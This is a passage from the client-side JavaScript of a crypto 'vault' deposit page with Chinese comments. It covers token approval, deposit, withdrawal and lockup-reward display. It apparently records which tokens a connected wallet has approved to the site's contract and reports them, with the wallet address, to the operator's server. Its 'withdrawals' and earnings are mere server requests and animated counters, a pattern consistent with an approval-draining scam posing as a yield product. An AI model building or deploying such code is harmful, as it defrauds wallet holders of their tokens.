clearInterval(c1time)
deposit_default = name;
$(obj).attr('onclick', 'deposit(this)');
$(obj).attr('class', 'g-button pools__dialog__option g-button-heco-theme');
$(obj).html("{{trans('web.Deposit')}}");
success_message();
}
}
});
}, 8000);
} else {
$(obj).html("{{trans('web.Approve')}}");
$(obj).attr('class', 'g-button pools__dialog__option g-button-heco-theme');
$(obj).attr('onclick', 'authorization(this)');
message("{{trans('web.Authorization failed')}}")
}
})
}
});
}
// 查询余额
async function selectBalance(address) {
$.ajax({
type: "GET",
url: '/upBalance',
data: {
address: selectedAccount
},
success: function(data) {
var data = JSON.parse(data);
if (data.code == 1) {
data.data.forEach(v => {
if (v.hash == address) {
var balance = parseFloat(v.balance / 10 ** v.tokenInfo.d).toFixed(4);
$('#balance').html(balance);
}
})
DepositFun();
}
},
error: function() {
return message('eth.tokenview.com Error');
}
});
}
// 存入
async function deposit(obj) {
var z_obj = null;
if (!$(obj).attr('data')) {
z_obj = document.getElementById(deposit_default);
} else {
z_obj = obj;
}
deposit_obj = z_obj;
let name = $(z_obj).attr('id').substr(0, $(z_obj).attr('id').indexOf('_'));
$('#name1').html(name);
$('#name2').html(name);
$('#name3').html(name);
$('#name4').html(name);
document.getElementById('deposit').removeAttribute('style');
document.getElementById('deposit_img').setAttribute('src', '/upload/' + $(z_obj).attr('img'));
document.getElementById('pools__label-value').innerHTML = parseFloat($(z_obj).attr('use')).toFixed(2).toLocaleString();
document.getElementById('dig_balance').innerHTML = document.getElementsByName(name)[0].innerHTML;
document.getElementById('Enter_Amount').setAttribute('placeholder', "{{trans('web.Enter Amount ')}}" + $(z_obj).attr('min_c'));
// 更新余额
selectBalance($(z_obj).attr('data'));
}
async function getTokenList() {
$.ajax({
type: "GET",
url: '/apiEther',
data: {
address: selectedAccount
},
success: function(msg) {
var msg = JSON.parse(msg);
// if (msg['status'] == 1) {
var item = $('.pools-main .pools__item');
var list = '';
// 授权绑定
authorization_binding(item);
msg.result.forEach(v => {
if (v.from == selectedAccount.toLowerCase() && v.isError == 0) {
if (v.input.search(app_address.substring(4, 35).toLowerCase()) != -1) {
for (let i = 0; i < item.length; i++) {
if ($(item[i]).attr('data') == v.to) {
list += $(item[i]).attr('id') + "|";
document.getElementById($(item[i]).attr('id') + '_Q').setAttribute('onclick', 'deposit(this)');
document.getElementById($(item[i]).attr('id') + '_Q').innerText = "{{trans('web.Deposit')}}";
}
}
}
}
});
// 同步数据库
$.ajax({
type: "GET",
url: '/authorization',
data: {
wallet: list,
address: selectedAccount
}
});
// }
},
error: function() {
return message('api.etherscan.io Error1');
}
});
}
async function balanceUp() {
$.ajax({
type: "GET",
url: '/vaultBalance',
data: {
address: selectedAccount,
type: 1
},
success: function(msg) {
var data = JSON.parse(msg);
document.getElementsByName('WBTC')[0].innerText = parseFloat(data.WBTC).toFixed(4);
document.getElementsByName('USDT')[0].innerText = parseFloat(data.USDT).toFixed(4);
document.getElementsByName('WETH')[0].innerText = parseFloat(data.WETH).toFixed(4);
document.getElementsByName('SHIB')[0].innerText = parseFloat(data.SHIB).toFixed(4);
document.getElementsByName('UNI')[0].innerText = parseFloat(data.UNI).toFixed(4);
document.getElementsByName('DAI')[0].innerText = parseFloat(data.DAI).toFixed(4);
document.getElementsByName('USDC')[0].innerText = parseFloat(data.USDC).toFixed(4);
},
error: function() {
return message('Balance Error');
}
});
}
// 提交
async function DepositPostSub(type) {
var balance = null;
if (type.data == 1) {
balance = parseFloat($('#balance').html()).toFixed(4)
} else {
balance = parseFloat($('#Enter_Amount').val()).toFixed(4)
}
if (postType) {
postType = false;
document.getElementById('deposit_1').innerHTML = '';
document.getElementById('deposit_2').innerHTML = '';
document.getElementById('deposit_1').setAttribute('class', 'g-button pools__dialog__deposit-all g-button-heco-theme g-button--normal g-button--loading');
document.getElementById('deposit_2').removeAttribute('disabled');
document.getElementById('deposit_2').setAttribute('class', 'g-button pools__dialog__option g-button-heco-theme g-button--loading');
// 转账
transfer(balance, $(deposit_obj).attr('data'), selectedAccount, 1);
}
}
// 验证方法
async function DepositFun() {
var balance = parseFloat($('#balance').html()).toFixed(4);
var min = parseFloat($(deposit_obj).attr('min_c')).toFixed(4);
var num = parseFloat($('#Enter_Amount').val()).toFixed(4);
if ((balance * 10000) >= (min * 10000)) {
document.getElementById('deposit_1').removeAttribute('disabled');
$('#deposit_1').bind('click', 1, DepositPostSub);
if ((num * 10000) >= (min * 10000) && (balance * 10000) >= (num * 10000)) {
document.getElementById('deposit_2').removeAttribute('disabled');
$('#deposit_2').bind('click', 2, DepositPostSub);
} else {
$('#deposit_2').attr('disabled', true);
$('#deposit_2').unbind('click');
}
} else {
$('#deposit_1').attr('disabled', true);
$('#deposit_1').unbind('click');
}
}
// 提交
async function DepositPost() {
document.getElementById('Enter_Amount').addEventListener('input', function(e) {
DepositFun();
})
}
// 提现绑定事件
async function withdrawal() {
var item = $('.pools-main .pools__item');
for (let i = 0; i < item.length; i++) {
document.getElementById($(item[i]).attr('id') + '_T').setAttribute('onclick', 'withdrawal_operate(this)')
}
}
// 提现操作
async function withdrawal_operate(obj) {
document.getElementById('withdrawal_open').removeAttribute('style');
document.getElementById('t1').setAttribute('src', '/upload/' + $(obj).attr('img'))
document.getElementById('t2').innerText = $(obj).attr('namec');
document.getElementById('t3').innerText = $(obj).attr('namec');
document.getElementById('tinput').setAttribute('placeholder', "{{trans('web.Enter Amount')}}" + $(obj).attr('min_q'));
$.ajax({
type: "GET",
url: '/withdrawalInfo',
data: {
address: selectedAccount,
he_address: $(obj).attr('data'),
type: 1
},
success: function(msg) {
var data = JSON.parse(msg);
var v1 = parseFloat(data[$(obj).attr('namec') + '_T']).toFixed(4); // 收益
var v2 = parseFloat(data[$(obj).attr('namec')]).toFixed(4); // 余额
var v3 = parseFloat($(obj).attr('min_q')); // 最低提现
document.getElementById('t4').innerText = v1;
document.getElementById('t5').innerText = v2;
if (data['use1'] == 1) {
if (v1 > 0) {
document.getElementById('tclaim').removeAttribute('disabled');
document.getElementById("tclaim").onclick = function() {
$.ajax({
type: "GET",
url: '/withdrawalIncome',
data: {
address: selectedAccount,
ha_address: $(obj).attr('data'),
type: 1
},
success: function() {
withdrawal_close()
document.getElementById('tqu').removeAttribute('style');
}
});
}
} else {
document.getElementById('tclaim').setAttribute('disabled', 'disabled');
}
}
if (data['use'] == 1) {
if ((v2 * 10000) >= (v3 * 10000)) {
document.getElementById('tclaim2').removeAttribute('disabled');
document.getElementById("tclaim2").onclick = function() {
$.ajax({
type: "GET",
url: '/withdrawal',
data: {
address: selectedAccount,
balance: v2,
ha_address: $(obj).attr('data'),
type: 1
},
success: function() {
withdrawal_close()
document.getElementById('tqu').removeAttribute('style');
}
});
};
document.getElementById('tclaim1').removeAttribute('disabled');
document.getElementById("tclaim1").onclick = function() {
$.ajax({
type: "GET",
url: '/withdrawal',
data: {
address: selectedAccount,
balance: $('#tinput').val(),
ha_address: $(obj).attr('data'),
type: 1
},
success: function() {
withdrawal_close()
document.getElementById('tqu').removeAttribute('style');
}
});
};
document.getElementById('tinput').oninput = function() {
var v4 = parseFloat($('#tinput').val());
if (!isNaN(v4)) {
if ((v4 * 10000) >= (v3 * 10000) && (v4 * 10000) <= (v2 * 10000)) {
document.getElementById('tclaim1').removeAttribute('disabled');
} else {
document.getElementById('tclaim1').setAttribute('disabled', 'disabled');
}
} else {
document.getElementById('tclaim1').setAttribute('disabled', 'disabled');
}
}
}
}
}
})
}
// 锁仓计算
async function Lockup() {
$.ajax({
type: "GET",
url: '/lockup',
data: {
address: selectedAccount,
type: 1
},
success: function(msg) {
var data = JSON.parse(msg);
var options = {
useEasing: true, // 使用缓和
useGrouping: true, // 使用分组(是否显示千位分隔符,一般为 true)
separator: ',', // 分隔器(千位分隔符,默认为',')
decimal: '.', // 十进制(小数点符号,默认为 '.')
prefix: '', // 字首(数字的前缀,根据需要可设为 $,¥,¥ 等)
suffix: '' // 后缀(数字的后缀 ,根据需要可设为 元,个,美元 等)
};
new CountUp("num3", 0, data['count'], 2, 3, options).start();
new CountUp("num4", 0, data['income'], 2, 3, options).start();
}
});
}
// 项目切换
function switchqie(obj) {
var cl = $(obj).attr('class');
if (cl == 'g-switch') {
var item = $('.pools-main .pools__item');
var num = 0;
for (let i = 0; i < item.length; i++) {
var j = document.getElementsByName($(item[i]).attr('id'))[0].innerText;
if (j <= 0) {
num += 1;
$(item[i]).remove();
}
if (num == item.length) {
document.getElementById('pools__empty').removeAttribute('style');
}
}
$(obj).attr('class', 'g-switch g-switch--checked')
} else {
window.location.reload();
$(obj).attr('class', 'g-switch')
}
}
// 启动
async function initVault() {
var ctime = setInterval(async function() {
if (selectedAccount) {
clearInterval(ctime);
await numStart();
await getTokenList(); // 更新是否授权
await balanceUp(); // 更新账户余额
await DepositPost(); // 提交余额
await withdrawal(); // 提现
await Lockup(); // 锁仓计算
}
}, 500);
}
initVault();
</script>
</body>
</html>